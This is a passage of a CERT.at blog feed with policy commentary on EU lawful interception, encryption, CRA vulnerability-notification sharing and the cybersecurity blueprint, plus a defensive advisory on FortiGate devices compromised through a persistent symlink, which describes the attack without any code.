are so fundamentally different, that transferring approaches from one side to the other just doesn&rsquo;t work. It starts with territoriality/jurisdiction, touches the services vs. product mismatch and end with the old difference between the old telco networks and the Internet: Are services provided by the network or by the end-points. If you look at the design of Signal and others, all the security properties are in the client, not the server.</p> <p class="block">Thus, the approach that worked for the old network just doesn&rsquo;t fit the new one.</p> <p class="block">The HLG report is not giving any guidance how to get there.</p> <p class="block" style="padding-left: 30px;"><em>Second, it is necessary to reach an agreement on high-level operational requirements that clearly states what is expected by national authorities in terms of lawful interception and what the associated safeguards should be. LEON has been identified as a good basis for defining law enforcement requirements. This document should be accompanied by requirements on e.g. proportionality, oversight and transparency, possibly distinguishing between the rules applicable to content and non-content data, with full respect for cybersecurity and data protection and privacy and without undermining encryption.</em></p> <p class="block">This is an important point here, and I really think we need to hammer this down.</p> <p class="block">We first need to agree on a set of requirements for the &ldquo;lawful interception without weakening cyber security &amp; fundamental right&rdquo; solution. <strong>This document is a great summary of what the LEA side wants; we need a similar document that describes the requirements on the cyber security side of the equation.</strong></p> <p class="block">Or in other words, we need to checklist according to which we can score any proposed solution X. Some ideas:</p> <ul> <li class="block">Does X restrict what software citizens can install on their devices?</li> <li class="block">Does X undermine the goal of having people trust automatic updates of software?</li> <li class="block">Does X lead to more people rooting their phones and side-loading applications?</li> <li class="block">Does X respect mobile users that travel between jurisdictions?</li> <li class="block">Does X also work for Open Source software?</li> <li class="block">Does X need to be undetectable by the user under surveillance?</li> <li class="block">Does X undermine the security of non-targeted users?</li> <li class="block">What is the abuse potential for X and which guardrails are in place?</li> </ul> <p class="block">We should agree on such a list of requirements before we embark on the quest to find a solution.</p> <p class="block" style="padding-left: 30px;"><em>Third, the concept of territorial jurisdiction needs to be clarified in terms of its applicability to OTT services, taking into account the divergent interpretations among national authorities and, most importantly, between national authorities and OTT providers.</em></p> <p class="block">This is also an interesting point: Jurisdiction. In contrast to an old-fashioned land-line telephone, mobile phone using an OTT communication service are, well, mobile. They can travel. They can leave the current jurisdiction. So what happens if LEA in country Y gets a warrant and support from the OTT service to do wiretapping, and now the suspect travels to country Z. Does the wiretap need to stop? What happens if spyware was used on the suspects phone? Can LEA from Y legally wiretap the communication of a suspect in a different jurisdiction?</p> <p class="block">The points 3,4 and 5 from the Recommendation Cluster 7 capture these questions.</p> <p class="block">Number 4 is crucial: &ldquo;<strong><em>[&hellip;] no measure should entail an obligation for providers to adjust their ICT systems in a way that would negatively impact the cybersecurity of their users</em></strong>&rdquo;.</p> <p class="block">At a recent conference I heard a presentation about the <a href="https://www.homeaffairs.gov.au/about-us/our-portfolios/national-security/lawful-access-telecommunications/assistance-and-access-industry-assistance-framework">Australian law for LEA access to communication content</a>. They do these things in three levels: Asking nicely for help (TAR), force operators to help (TAN) and order that capabilities need to be implemented (TCN). The latter has a strong restriction: &ldquo;Importantly, a TCN is expressly prohibited from requiring the building of a capability to decrypt information or remove electronic protection.&rdquo;</p> <p class="block">In other words, Australia can demand from communication providers that they build the infrastructure to enable wiretapping, but they can not be forced to lower the inherent security of communication protocols.</p> <p class="block">Page 46:</p> <p class="block" style="padding-left: 30px;"><em>Step 2: [&hellip;] In addition, the HLG experts stressed the urgent need to improve the efficiency of cross-border lawful interception requests under the current framework, while carrying out the work outlined above.</em></p> <p class="block">Indeed. The current time-penalty LE is paying for any cross-border interaction is just not sustainable.</p> <p class="block">Page 47, Recommendation Cluster 8:</p> <p class="block" style="padding-left: 30px;"><em>To ensure that a broad range of providers of ECS, including OTT providers, respond to lawful interception requests as set out in national laws</em></p> <p class="block">This is getting tricky. We have seen this play out in other areas, e.g. access to online betting services, pharmacies or other services that are deemed non-compliant in one country. We always deride non-EU countries that block access to Wikipedia, independent media, social media and other &ldquo;undesirable&rdquo; content. What usually follows is an uptick of the use of VPNs and other means of working around blocks. And to be honest, why should an OTT service from south-east Asia care about Austrian law and the wishes of our LEAs? Where do we end here? Try to block these services on the DNS or network layer? Make it illegal to use them? As the report puts it:</p> <p class="block" style="padding-left: 30px;"><em>HLG experts agreed that any initiative to foster or impose lawful interception rules on all type of ECS should come with a clear and enforceable framework for taking action against communication providers that operate illegally and/or refuse any form of cooperation with law enforcement.</em></p> <p class="block">The authors almost get it</p> <p class="block" style="padding-left: 30px;"><em>Furthermore, the differences between lawful interception rules across the EU place burdensome requirements upon regulated entities such as OTT providers, potentially creating market access barriers for communication providers.</em></p> <p class="block">but miss the elephant in the room: It&rsquo;s not about differences in legislation between EU member states, this is a global competition. I don&rsquo;t worry about a company moving from Germany to Spain, I worry about all those OTT services moving to offshore locations. See <a href="https://www.heise.de/en/news/Surveillance-Proton-relocates-parts-of-its-infrastructure-from-Switzerland-10538664.html">Proton&rsquo;s move away from Switzerland</a> for an example.</p> <p class="block">Page 48, Recommendation Cluster 9:</p> <p class="block" style="padding-left: 30px;"><em>Based on further analysis and an impact assessment, the experts recommend devising an EU instrument on lawful interception (consisting of soft-law or binding legal instruments) for law enforcement purposes that would establish enforceable obligations for providers of ECS in the EU.</em></p> <p class="block">I&rsquo;m a mathematician by training. We often get derided for this, but here is fits perfectly: Before trying to find a solution to a problem, it might be worthwhile to first consider the question if a solution does exist in the first place. So yes: first do the &ldquo;further analysis and an impact assessment&rdquo;, and if &ndash; and only if &ndash; we can find a technical solution satisfying the requirements, then we can start to write laws.</p> <p class="block">This is what is starting to happen in the EU right now: Experts have been invited to think about this challenge and let&rsquo;s see what they will come up with.</p> <p class="block">It certainly is not an easy assignment.</p>Thu, 16 Oct 2025 19:08:16 GMT+0100https://www.cert.at/en/blog/2025/10/hlg-paper-reviewCERT.at2025-10-16T19:08:16Zhttps://www.cert.at/en/blog/2025/7/encryption-vs-lawful-interception-eu-policy-news<p class="block">I&rsquo;ve commented here on this blog (or its German twin) quite a few time already on various legislative proposals on how the law enforcement agencies can keep their traditional access to the communication of suspects. See</p> <ul> <li class="block"><a href="https://www.cert.at/de/blog/2017/8/blog-20170731130131-2076">Ein paar Thesen zu aktuellen Gesetzesentw&uuml;rfen</a>&nbsp;(2017)</li> <li class="block"><a href="https://www.cert.at/de/blog/2024/9/ein-paar-gedanken-zur-uberwachung-verschlusselter-nachrichten">Ein paar Gedanken zur &bdquo;&Uuml;berwachung verschl&uuml;sselter Nachrichten"</a>&nbsp;(2024)</li> <li class="block"><a href="https://www.cert.at/en/blog/2024/7/csirt-le-military">Roles in Cybersecurity: CSIRTs / LE / others</a>&nbsp;(2024)</li> <li class="block"><a href="https://www.cert.at/en/blog/2025/2/chat-control-vs-file-sharing">Chat Control vs. File Sharing</a>&nbsp;(2025)</li> <li class="block">(by a colleague)&nbsp;<a href="https://www.cert.at/en/blog/2024/8/another-round-government-malware-digital-surveillance"> Another round: Government malware &amp; digital surveillance</a>&nbsp;(2024)</li> </ul> <p>As the recent political agreement within the new Austrian government shows, this is still a hot topic. This does not only play out on the national side, also at EU level there is a hot debate on the right policy decisions regarding the challenges posed by new communication technology.</p> <p>To be honest, the focus on interception and how law enforcement is now handicapped by the new technology is missing the real story: how the social media companies and their algorithms are fracturing society, causing parallel realities in the population and contribute to the radicalisation of a lot of vulnerable people. That will kill our democracy, not whether a police officer will continue to be able to wiretap a suspect.</p> <p>Anyway, at <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_25_1599">EU level a new Roadmap was unveiled last week</a>:</p> <p style="padding-left: 30px;"><em>The European Commission presented today a Roadmap setting out the way forward to ensure law enforcement authorities in the EU have effective and lawful access to data. The roadmap is an important deliverable under ProtectEU &ndash; the EU's Internal Security Strategy which the Commission presented in April this year.</em></p> <p style="padding-left: 30px;"><em>Terrorism, organised crime, online fraud, drug trafficking, child sexual abuse, sexual extortion, ransomware, and other offences all share a common feature: they leave digital traces. With 85% of criminal investigations now relying on electronic evidence, law enforcement authorities need better tools and a modernised legal framework to access digital data in a lawful manner while ensuring full respect of fundamental rights.</em></p> <p>It covers the areas Data retention, Lawful interception, Digital forensics, Decryption, Standardisation, and AI solutions for law enforcement.</p> <p>While I can understand the frustration on the LE side, some of the proposals run headlong into the core principles of the cyber security community. e.g., under &ldquo;Decryption&rdquo; the Commission writes &ldquo;<em>In 2026, the Commission will present a Technology Roadmap on encryption to identify and evaluate solutions that enable lawful access to encrypted data by law enforcement, while safeguarding cybersecurity and fundamental rights.</em>&ldquo; which someone in the CSIRT community (to much applause) translated to &bdquo;We have a roadmap for the development of a square that is also round.&ldquo;.</p> <p>To discuss the trade-offs between these worlds, the commission is creating an &ldquo;<a href="https://ec.europa.eu/transparency/expert-groups-register/screen/expert-groups/consult?lang=en&amp;groupID=4005">Expert Group for a Technology Roadmap on Encryption (E04005)</a>&ldquo; and is looking for people to work on the following tasks:</p> <ul> <li><em>to assist the Commission&rsquo;s Directorate-General for Migration and Home Affairs (&lsquo;DG HOME&rsquo;) and Directorate General for Communications Networks, Content and Technology (&lsquo;DG CNECT) in the preparation of policy initiatives on lawful access to data through the identification of technical options to address encryption challenges and the assessment of their suitability; while ensuring observance of fundamental rights, including privacy and data protection, and without undermining cybersecurity.</em></li> <li><em>to assist the Commission to elaborate a Technology Roadmap, by providing expert input that shall outline and assess the technical options as well as the corresponding resources and actions needed for lawful access to and processing of digital information, without undermining cybersecurity and while respecting fundamental rights, taking into account the relevant recommendations of the High-Level Group of Experts for Access to Data.</em></li> </ul> <p>They are looking for people with diverse background: The selection shall prioritise experts with technical profiles, coming from either public or private sector, whilst aiming to ensure proportional representation across the following fields of expertise:</p> <ul> <li><em>Home affairs, ideally with an experience in fighting high-tech crime, and/or a background in the area of decryption and artifact extraction, computer forensics, network forensics, smartphone forensics, cloud forensics, IoT forensics, memory forensics and/or lawful interception;</em></li> <li><em>Cybersecurity. with diverse backgrounds including but not limited to vulnerability management, evaluation of cybersecurity risks and certification and encryption (including quantum and post-quantum cryptography);</em></li> <li><em>Telecommunication, including with experience in computer networks/Internet, 5G/6G, IoT, VoIP, Satellite, Quantum communication and/or encrypted communication applications;</em></li> <li><em>Big data analysis, including with expertise in AI technologies;</em></li> <li><em>Standardisation, notably in relation with cybersecurity and/or telecommunication technologies, including protocol networks, exchanges of digital data, and lawful interception;</em></li> <li><em>Justice and fundamental rights, including experience in data protection and privacy, as well as experience in criminal justice, such as cyber-enabled and/or cyber-dependent crimes</em></li> </ul> <p>Yes, bitching about EU policy is cherished hobby for a lot of people, but <strong>why not get engaged and try to get the EU to do the right thing in the first place</strong>?</p>Tue, 01 Jul 2025 14:49:56 GMT+0100https://www.cert.at/en/blog/2025/7/encryption-vs-lawful-interception-eu-policy-newsCERT.at2025-07-01T14:49:56Zhttps://www.cert.at/en/blog/2025/6/cra-vulnerability-reports-why-would-we-not-share-them-with-other-csirts<p class="block">The Cyber Resilience Act (<a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32024R2847">Regulation (EU) 2024/2847</a>) defines security requirements for products with digital elements and requires vendors to report to national CSIRTs if a vulnerability in one of their products is actively exploited.</p> <p class="block">This reporting is done via a &ldquo;Single Reporting Platform&rdquo; (as defined in Article 16), which is currently being built by ENISA &ndash; after multiple rounds of consultations with the CSIRTs Network.</p> <p class="block">One interesting aspect is Article 16(2) which states:</p> <p class="block" style="padding-left: 30px;">After receiving a notification, the CSIRT designated as coordinator initially receiving the notification shall, without delay, disseminate the notification via the single reporting platform to the CSIRTs designated as coordinators on the territory of which the manufacturer has indicated that the product with digital elements has been made available.</p> <p class="block">But also:</p> <p class="block" style="padding-left: 30px;">In exceptional circumstances and, in particular, upon request by the manufacturer and in light of the level of sensitivity of the notified information as indicated by the manufacturer under Article 14(2), point (a), of this Regulation, the dissemination of the notification may be delayed based on justified cybersecurity-related grounds for a period of time that is strictly necessary [&hellip;]</p> <p class="block">Article 14(9) expands on this and states:</p> <p class="block" style="padding-left: 30px;">By 11 December 2025, the Commission shall adopt delegated acts in accordance with Article 61 of this Regulation to supplement this Regulation by specifying the terms and conditions for applying the cybersecurity-related grounds in relation to delaying the dissemination of notifications as referred to in Article 16(2) of this Regulation. The Commission shall cooperate with the CSIRTs network established pursuant to Article 15 of Directive (EU) 2022/2555 and ENISA in preparing the draft delegated acts.</p> <p class="block">Thus, the EU Commission needs to come up with a set of criteria for us that define when it makes sense to delay passing on a vulnerability notification to peer CSIRTs. Additionally, the Commission needs to talk to us, so it makes sense for us to think about this.</p> <p class="block">So, which criteria would be useful to have? Let&rsquo;s pick a few ideas and discuss them.</p> <p class="block">Keep in mind that we&rsquo;re talking about passing on the information to other CSIRTs in the CSIRT&rsquo;s Network, and not about publishing the information. This makes a huge difference. This leads us to the first reason:</p> <ul> <li class="block">If there are serious doubts about the trustworthiness of a CSIRT, e.g., because they have a live security incident there or there have been unresolved information leaks there, then it makes sense to cut that team out of the sharing circle.</li> </ul> <p class="block">In our daily CSIRT work, <strong>sharing information is not a binary decision</strong>. It&rsquo;s rarely &ldquo;all info without any restrictions&rdquo; or &ldquo;no sharing at all&rdquo;. There is a lot of grey between those extremes. On one dimension, it&rsquo;s about what you share. Sometimes we withhold information, because it&rsquo;s not necessary for the receiving CSIRT to accomplish its mission, or we want to protect our sources or the identity of the initial victim. Sharing exploit code is often not needed, so why do it? And the other dimension&nbsp;is information usage and handling restrictions tagged on the information being shared. For this purpose, PAP (Permissible Actions Protocol) markings and TLP (Traffic Light Protocol) markings are applied. For example, we might want to share details of a simple proof-of-concept exploit that can be fashioned into a scanning oracle to find vulnerable systems to all other CSIRTs: that way they can identify which constituents they need to urgently warn about the vulnerability. But passing that scanning script to malicious actors could quickly lead to mass exploitation. This is a perfect example for sharing under TLP:AMBER+STRICT.</p> <p class="block">One way to formulate this is:</p> <ul> <li class="block">Do not share the vulnerability notification if the inherent risks of sharing cannot be mitigated by placing restrictions on the handling and onward sharing of the notification by using PAP (Permissible Actions Protocol) and TLP (Traffic Light Protocol) markings.</li> </ul> <p class="block">This mitigates any fear that the notification might enable the receiver to create an exploit. Thus, anything like &ldquo;this information is too sensitive&rdquo; should not be an excuse not to disseminate.</p> <p class="block">The next reason I can think of is that the vulnerability notification as received via the SRP does not provide additional useful information to what is already available in the CSIRTs Network. E.g., by writing</p> <ul> <li class="block">Dissemination can be delayed if all information needed for the relevant CSIRTs to advise and protect their constituency has been shared independently of the vendor notification.</li> </ul> <p class="block">Or the notification could be part of a high-stakes incident response which has been classified under national law. That might legally preclude the CSIRT from discussing aspects of this case with foreign teams. E.g.,</p> <ul> <li class="block">If the vulnerability notification is tied to an incident of national security concerns, then the dissemination can be delayed.</li> </ul> <p class="block">On the other hand, I don&rsquo;t think that pure timing concerns are a valid reason for a delay. We&rsquo;ve been fooled way too often by a vendor&rsquo;s &ldquo;We&rsquo;ll release our public advisory tomorrow.&rdquo; to believe those promises in the first place, and to think an imminent public advisory is a valid reason to delay sharing anyway.</p> <h1 class="block"><strong>Summary</strong></h1> <p class="block">The CSIRTs Network is a trusted group of security teams, sharing even highly sensitive information works, because dealing with TLP-tagged data is our daily business.</p> <p class="block">Which leaves basically two reasons not to share the original notification:&nbsp;</p> <ul> <li class="block">There is a known problem with the security of a CSIRT</li> <li class="block">Dissemination is not needed because sufficient information has already been passed around</li> </ul> <p class="block">&nbsp;</p> <p class="block"><strong>Addendum (2025-12-03)</strong>: The EU Commission did a <a href="https://ec.europa.eu/info/law/better-regulation/have-your-say/initiatives/14731-Cybersecurity-terms-conditions-for-delaying-the-notification-of-incidents-delegated-act-_en">public consultation</a> on this topic as well.</p> <p class="block">&nbsp;</p>Wed, 11 Jun 2025 17:49:29 GMT+0100https://www.cert.at/en/blog/2025/6/cra-vulnerability-reports-why-would-we-not-share-them-with-other-csirtsCERT.at2025-06-11T17:49:29Zhttps://www.cert.at/en/blog/2025/4/multiple-fortigate-devices-compromised-with-a-persistent-read-only-access<blockquote> <p class="block"><strong>Please note</strong>: The original author of this post was Kamil Mankowski. Alexander Riepl was merely responsible for publishing and some translation efforts.</p> </blockquote> <p class="block">On Friday, April 10th, Fortinet <a href="https://www.fortinet.com/blog/psirt-blogs/analysis-of-threat-actor-activity" target="_blank">released information</a> about a worldwide compromise of FortiGate devices, giving the attacker persistent read-only access. Threat actors seemingly used three known vulnerabilities in the SSL VPN feature to gain initial access to the devices and a symbolic link in the file system to survive patching of FortiOS.</p> <h2 class="block">Background</h2> <p class="block">FortiGate is a VPN solution that enables remote access to corporate systems. It provides the legacy SSL VPN solution as one of its options. This feature was previously exposed to critical vulnerabilities CVE-2022-42475, CVE-2023-27997 and CVE-2024-21762. Each of these vulnerabilities allowed a remote, unauthenticated attacker to execute code on the device via a specially crafted request.</p> <p class="block">The attacker used these vulnerabilities to compromise Fortigate devices and then placed a symbolic link in a folder used to serve language files. These are accessible without authentication, allowing anyone knowing the location to gain read-only access to the file system, including the full device configuration. The vulnerability patches provided by Fortinet did not remove the symlink.</p> <p class="block">The ShadowServer Foundation has <a href="https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=30&amp;source=compromised_website&amp;tag=fortinet-compromised%2B&amp;dataset=unique_ips&amp;style=stacked" target="_blank">identified several thousand compromised devices worldwide</a>. Our internal analysis shows up to 840 affected devices in Austria at the highest peak, and the current number is slightly higher than the&nbsp; number ShadowServer reports for Austria.</p> <h2 class="block">Devices at risk</h2> <p class="block">All FortiGate devices, physical or virtual, that have or have had the SSL-VPN feature enabled and were ever vulnerable to one of the mentioned vulnerabilities (see affected FortiOS versions in the advisories - <a href="https://www.fortiguard.com/psirt/FG-IR-22-398" target="_blank">1</a>, <a href="https://www.fortiguard.com/psirt/FG-IR-23-09" target="_blank">2</a>, <a href="https://fortiguard.fortinet.com/psirt/FG-IR-24-015" target="_blank">3</a>) are potentially at risk. <a href="https://www.cert.govt.nz/advisories/malicious-activity-due-to-previously-exploited-vulnerabilities-in-fortinet-fortios-products/" target="_blank">According to CERT.nz</a>, the attacks could have occurred as early as 2023.</p> <p class="block">Although the details of the attack have not been made public, CERT.at was informed about this incident by a third party at the beginning of the year. Since then, we have been monitoring the situation in Austria closely and have been actively informing network operators since February.</p> <p class="block">According to Fortinet, their active customers have also been contacted.</p> <h2 class="block">Mitigation</h2> <p class="block">If your device has been compromised, we recommend you initiate an incident response and investigate all activity on the device. Fortinet has also released mitigations, including:</p> <ul> <li class="block">AV/IPS signatures that flag the malicious symlink - for devices with active IPS</li> <li class="block">FortiOS versions 7.6.2, 7.4.7, 7.2.11 &amp; 7.0.17, 6.4.16 that remove the symlink</li> </ul> <p class="block">Fortinet has also <a href="https://community.fortinet.com/t5/FortiGate/Technical-Tip-Recommended-steps-to-execute-in-case-of-a/ta-p/230694" target="_blank">published guidelines</a> to recover compromised devices. If you received our February alert, please note that there are currently updates available that remove the malicious artifact.</p> <h2 class="block">Further recommendations</h2> <p class="block">We strongly recommend that all FortiGate administrators ensure that their firmware is up to date. For organisations using SSL VPN, we recommend considering a long-term migration to alternative remote access methods due to the long history of security issues. Fortinet offers migration <a href="https://docs.fortinet.com/document/fortigate/7.6.0/ssl-vpn-to-ipsec-vpn-migration/126460/introduction" target="_blank">guides to IPSec</a> or <a href="https://docs.fortinet.com/document/fortigate/7.6.2/administration-guide/140089/ssl-vpn-to-dial-up-vpn-migration" target="_blank">dial-up VPN</a> depending on the use case.</p>Wed, 16 Apr 2025 10:22:07 GMT+0100https://www.cert.at/en/blog/2025/4/multiple-fortigate-devices-compromised-with-a-persistent-read-only-accessCERT.at2025-04-16T10:22:07Zhttps://www.cert.at/en/blog/2025/3/a-revision-of-the-eu-cybersecurity-blueprint<h2 class="block">Introduction</h2> <p class="block">The original <a href="https://eur-lex.europa.eu/eli/reco/2017/1584/oj/eng">EU cybersecurity blueprint from 2017</a> (officially: &ldquo;Commission Recommendation of 13.9.2017 on Coordinated Response to Large Scale Cybersecurity Incidents and Crises&rdquo;) is now close to seven years old and an update is overdue. The Commission recently <a href="https://digital-strategy.ec.europa.eu/en/library/cyber-blueprint-draft-council-recommendation">published a draft for an updated version</a>, and I&rsquo;d like to take this opportunity to publish my feedback to this text.</p> <p class="block">Overall, this is good document, both readable and quite short. As it is full of references to other EU documents, it would really benefit from a consistent use of hypertext links in the text. There are some URLs in the footnotes, but not all are actually active, clickable links in the pdf version. Having the links directly in the main text might not be standard in EU documents but would make reading the document in its digital form more accessible.</p> <h2 class="block">DNS/Cloud</h2> <p class="block">Recital (16) and points (15) and (16) single out DNS resolution capabilities as a critical technical dependency. Yes, DNS resolutions is important, but it is by far not the only one. DNS4EU might be a worthwhile EU initiative, but that should not elevate it to a critical component in the EU cybersecurity blueprint.</p> <p class="block">Other dependencies worth looking at are the Internet&rsquo;s routing infrastructure, including the mechanism for securing BGP, the authoritative side of the DNS, content delivery networks (CDNs &ndash; where some services claim to serve significant portions of the global content), large e-mail operators and the hyper-scaler IaaS/PaaS/SaaS cloud services. The singular focus on DNS resolution is not warranted. We shouldn't just talk about the dependency where we have an EU alternative in place.</p> <h2 class="block">Triggers for large-scale incidents</h2> <p class="block">The text is not really explicit about this, but it reads like it implicitly assumes that malicious technical cyber operations will be the cause for large-scale incidents. In other words, some sort of illegal access to computing resources in the EU (or a denial-of-service attack) with either hacktivist, criminal or political motivations. I think this is far too narrow.</p> <p class="block">One of the basic ways of looking at cyber security is the C-I-A triad: Confidentiality, Integrity and Availability. And the latter is not only threatened by &ldquo;malicious hackers&rdquo;, but mainly (if one looks at NIS 1 mandatory reporting) by bugs, mistakes of operators, flooding, backhoes + anchors, failing disks, power outages, and dozens of other reasons for IT Oopsies. The incident from July 2024 where a <a href="https://en.wikipedia.org/wiki/2024_CrowdStrike-related_IT_outages">CrowdStrike EDR update crashed 8.5 million systems worldwide</a>, is a good example. As a thought experiment: assume that a similar error results in a more sustained downtime or even data loss: would the blueprint be applicable?</p> <p class="block">Another possible trigger for a large-scale incident could be supply chain issues. Here EU documents usually only think in terms of the <a href="https://en.wikipedia.org/wiki/SolarWinds#2019%E2%80%932020_supply_chain_attacks">SolarWinds incident of 2019/20</a> or the trustworthiness of certain categories of vendors (see the 5G toolbox). In focus are network intrusions caused by security problems by managed service providers, by business partners, by vendors, or outsourcing partners. We sometimes forget about the most basic of supply chain issues: not being supplied any more.</p> <p class="block">Supply chain disruptions in the software business used to be long-term issues: maybe the supplier cancels the product, and you must transition to another one, or there might be issues with updates and security fixes. In the age of online license checks and Software-as-a-Service delivered via the cloud, any disruptions on the side of the vendor can have immediate effects on all his customers. That all assumes that the vendor is acting freely, but this assumption might be wrong: in the case of geopolitical tensions, other <a href="https://www.reading.ac.uk/news/2025/Expert-Comment/US-sanctions-International-Criminal-Court">forces might trump the will and the interests of a vendor</a>. There might be sanctions, there might be secondary sanctions, there might be sudden export restrictions, and, in the case of hardware supply, there might be disruptions in the production.</p> <p class="block">Not all of these cases will be something where the CSIRTs (or commercial incident response companies) can ride in to save the day, some of these cases will be highly political and will require a solution on that layer. Better yet, these cases need to be considered long before the crisis hits. Sometimes I think that &ldquo;rely completely on US cloud providers&rdquo; is the 2025 version of &ldquo;buy natural gas exclusively from Russia&rdquo;.</p> <h2 class="block">High-risk vendors</h2> <p class="block">In recital (18), &ldquo;high-risk suppliers&rdquo; is only used in the context of &ldquo;vulnerabilities have to be disclosed for state use&rdquo;. This is one-dimensional thinking. Suppliers can be high-risk because they are a monopoly and can thus raise prices without market considerations. Others may become a pawn in geopolitical power-plays.</p> <h2 class="block">Secure Communication</h2> <p class="block">As recital (23) states, communication can be a key component in handling a crisis. But we don&rsquo;t need yet another bespoke solution for the EU entities and their national partners, we need something where we can also add the private sector to the communication, as they are the ones who run most of our digital infrastructure. Insofar, recital (24) is correct: we need to think not in individual silos. Instead, the crisis communication and response need to bridge between them.</p> <p class="block">The idea from point (30) to use Matrix as a technological base is a good one. One word of caution, though: we cannot continue to use Open-Source software and only think of deployment costs, we also need to reserve funding for the development and maintenance of the product itself. For example, when switching from the commercial version of Mattermost to Matrix, one should redirect a considerable fraction of the no longer needed license fees to support the Open-Source project.</p> <h2 class="block">Situational Awareness</h2> <p class="block">II(6) is a bit too much focussed on technical part of the situational awareness. A complete threat assessment also needs to factor in the motivation, capabilities and intentions of possible adversaries. This is something I hear often from the private sector: they are mostly satisfied with the technical CTI available to them, but they lack the strategic intelligence on potentially adversary actors ranging from hacktivists, organized crime up to state actors. Point (23) is well taken, but what about the commission&rsquo;s own cyber situation centre? What value can that provide to the aggregated situational awareness of all actors?</p> <h2 class="block">Taxonomy</h2> <p class="block">To be honest, there are already too many proposals for incident taxonomies out there. Doing yet another iteration is <a href="https://xkcd.com/927/">unlikely to improve the situation</a>. Where a common taxonomy is really missing in practice is a unified severity scale.</p> <h2 class="block">Responding to a cyber crisis</h2> <p class="block">Point (25) is the core of the document.</p> <p class="block">(a) is fine, it correctly defines the role of the CSIRTs Network.</p> <p class="block">I have issues with (b): it should be the sole responsibility of EU-CyCLONe to provide information about the impact of an incident to the political layer. Its members are the national cyber crisis coordinators, they should have the national impact assessments and can aggregate those within their network. The CSIRTs are focussing on the technical, purely cyber parts of the incident. The aggregation of this technical information in the CSIRTs Network talks about intrusion vectors, vulnerabilities, indicators of compromise, affected IT systems, mitigation measures, and expected time to restore. This is the information that the CSIRTs Network will share with EU-CyCLONe.</p> <h2 class="block">Crisis Management</h2> <p class="block">The text is a bit thin on the actual crisis management processes used across all actors. For example: I assume that the national CSIRTs will operate under the direction of their respective national crisis centres. Their main reporting requirements will be there and decisions by the national crisis manager will have precedence to any request coming in from the CSIRTs Network.</p> <p class="block">Or: how much will EU-CyCLONe act as the crisis coordinator for the CSIRTs Network? My assumption here is &ldquo;not at all&rdquo;, instead I expect that requests from EU-CyCLONe will first go to the national cyber crisis coordinator who will, if sensible, instruct the national CSIRT accordingly.</p> <p class="block">In other words, crisis management needs clear responsibilities and chains of command; a simple &ldquo;everybody should cooperate&rdquo; is not enough. This blueprint should be clearer on the questions whether those chains of command are on the national side or on the EU side.</p> <h2 class="block">EU Cybersecurity Reserve</h2> <p class="block">There is no need to describe the SLA of the reserve in this text, point 26(a) should be removed.</p> <p class="block">A statement on the information flow triggered by the deployment of the reserve would improve the document.</p>Tue, 04 Mar 2025 16:56:34 GMT+0100https://www.cert.at/en/blog/2025/3/a-revision-of-the-eu-cybersecurity-blueprintCERT.at2025-03-04T16:56:34Zhttps://www.cert.at/en/blog/2025/2/chat-control-vs-file-sharing<p class="block">The spectre of &ldquo;law-enforcement going dark&ldquo; is on the EU agenda once again. I&rsquo;ve written about the unintended consequences of states using malware to break into mobile phones to monitor communication multiple times. See <a href="https://www.cert.at/de/blog/2017/8/blog-20170731130131-2076">here</a> and <a href="https://www.cert.at/de/blog/2024/9/ein-paar-gedanken-zur-uberwachung-verschlusselter-nachrichten">here</a>. Recently it became known that yet another democratic EU Member state has <a href="https://www.theguardian.com/technology/2025/feb/06/owner-of-spyware-used-in-alleged-whatsapp-breach-ends-contract-with-italy">employed such software to spy on journalists and other civil society figures</a> &ndash; and not on the hardened criminals or terrorists which are always cited as the reason why these methods are needed.</p> <p class="block">Anyway, I want to discuss a different aspect today: the intention of various law enforcement agencies to enact legislation to force the operators of &ldquo;over-the-top&rdquo; (OTT) communication services (WhatsApp, Signal, iChat, Skype, &hellip;) to implement a backdoor to the end-to-end encryption feature that all modern applications have introduced over the last years. When I talked to a Belgian public prosecutor last year about that topic he said: &ldquo;we don&rsquo;t want a backdoor for the encryption, <a href="https://edri.org/our-work/dutch-decision-puts-brakes-on-chat-control/">we want the collaboration of the operators to give us access</a> when we ask for it&rdquo;</p> <p class="block">Let&rsquo;s assume the law enforcement folks win the debate in the EU and chat control becomes law. How might this play out?</p> <p class="block">My view on this is shaped by two thoughts:</p> <p class="block"><strong>1) Product versus service.</strong> Right now, the instant messaging platforms operate primarily as services: they run computers and software that enable the communication. They handle the authentication, the directory and the OTT equivalent of the mobile operator&rsquo;s <a href="https://en.wikipedia.org/wiki/Network_switching_subsystem#Home_location_register_.28HLR.29">Home Location Register (HLR)</a>: the system that enables communication endpoints to find each other. Implementing all this in a server-client model certainly make sense, but it&rsquo;s not the only way it can be done. The seminal text on this is <a href="https://web.archive.org/web/20040411105557/http://shirky.com/writings/zapmail.html">Clay Shirky&rsquo;s essay on ZapMail</a>, FedEx&rsquo; attempt to build a service based on FAX machines which completely bombed because people just bought their own FAX machines, turning a prospective service into a product that operates on top of the phone network.</p> <p class="block"><strong>2) The evolution of file-sharing applications.</strong> Initially, <a href="https://en.wikipedia.org/wiki/Napster">Napster</a> was built as service: the central Napster servers knew about the files each member of the network offered and could then act as a broker that matched file searches to clients who offered those files. On an abstract level, this is exactly what WhatApp is doing, just instead of enabling a download it is enabling texting and calls. This made Napster the obvious target for legal action: the content-owners knew exactly whom to sue. And it worked: by targeting this central broker service, the lawsuits managed to shut down this file-sharing model.</p> <p class="block">But it didn&rsquo;t stop file-sharing, it just changed the model how it operated. The centralized service evolved into a <a href="https://en.wikipedia.org/wiki/Peer-to-peer">peer-to-peer model</a>. Users downloaded software that built a P2P overlay network over the Internet which provided the necessary directory / search / rendezvous functions without the need for a central node. While the technology used (<a href="https://en.wikipedia.org/wiki/Distributed_hash_table">distributed hash tables</a>) was pretty new, this is actually how most of the initial Internet applications work: you download (or buy) software that implements a certain protocol, configure the DNS as the directory / rendezvous function and pronto: you are part of the global network. It still works this way for e-mail and the world wide web. The spam epidemic is one of the downsides of this fully distributed approach.</p> <p class="block"><strong>What does this mean for instant messaging apps?</strong></p> <p class="block">If the legislation targets the OTT services themselves, one possible counter is to de-centralize the service. Make it as thin as possible, e.g. by providing only an authentication and directory service, but refrain completely from being involved in any communication between users. The latter can be implemented with a P2P setup. This has been done before: the original Skype protocol also was heavily reliant on users acting as communication hubs.</p> <p class="block">Alternatively, the communication service could split into multiple small, interconnected services. Models for this are the fediverse (the network of Mastodon instances which together implement a global social media platform), Jabber (based on the XMPP 